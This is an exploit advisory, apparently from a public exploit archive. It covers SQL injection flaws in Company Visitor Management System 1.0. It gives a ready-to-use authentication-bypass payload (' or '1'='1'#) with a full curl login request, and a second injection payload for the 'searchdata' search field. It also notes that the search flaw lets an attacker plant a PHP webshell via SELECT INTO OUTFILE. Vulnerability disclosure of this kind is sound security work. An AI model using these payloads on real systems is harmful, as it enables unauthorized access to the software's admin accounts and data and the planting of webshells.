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Company Visitor Management System (CVMS) 1.0 SQL Injection

Company Visitor Management System (CVMS) 1.0 SQL Injection
Posted Jul 20, 2020
Authored by gh1mau

Company Visitor Management System (CVMS) version 1.0 suffers from multiple remote SQL Injection vulnerabilities, one of which allows for authentication bypass.

tags | exploit, remote, vulnerability, sql injection
MD5 | e307837a6ab50ef05dc6f950aa7caaf8

Company Visitor Management System (CVMS) 1.0 SQL Injection

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# Exploit Title: Company Visitor Management System (CVMS) 1.0 - Authentication Bypass
# Date: 2020-07-20
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/company-visitor-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=9602
# Version: V1.0
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)


Vulnerable File:
----------------
/index.php


Vulnerable Code:
-----------------
line 8: $adminuser=$_POST['username'];

Vulnerable Issue:
-----------------
$adminuser=$_POST['username']; is not filtered correcty


POC:
----

URL: http://localhost/cvms/index.php
Username : ' or '1'='1'#
Password : anything


Sample Request:

curl -i -s -k --location --request POST 'http://localhost/cvms/index.php' \
--header 'Origin: http://localhost:88' \
--header 'Cookie: PHPSESSID=2fco8hh2r5ccveq520n33chc80' \
--header 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' \
--header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0' \
--header 'Connection: close' \
--header 'Referer: http://localhost:88/cvms/index.php' \
--header 'Host: localhost:88' \
--header 'Accept-Encoding: gzip, deflate' \
--header 'Upgrade-Insecure-Requests: 1' \
--header 'Accept-Language: en-US,en;q=0.5' \
--header 'Content-Length: 61' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'username=%27+or+%271%27%3D%271%27%23&password=anything&login='



----


# Exploit Title: Company Visitor Management System (CVMS) 1.0 - 'searchdata' SQL Injection
# Date: 2020-07-20
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/company-visitor-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=9602
# Version: V1.0
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)


Vulnerable File:
----------------
\search-visitor.php


Vulnerable Code:
-----------------
line 77: $sdata=$_POST['searchdata'];

Vulnerable Issue:
-----------------
$sdata=$_POST['searchdata']; is not filtered correcty

[+] Any authenticated user/client can inject the following payload inside the Search Form
[+] Attacker can inject php webshell using SELECT INTO OUTFILE method through this entry point


POC:
----

Payload:

searchdata=%27+or+%271%27%3D%271%27%23&search=
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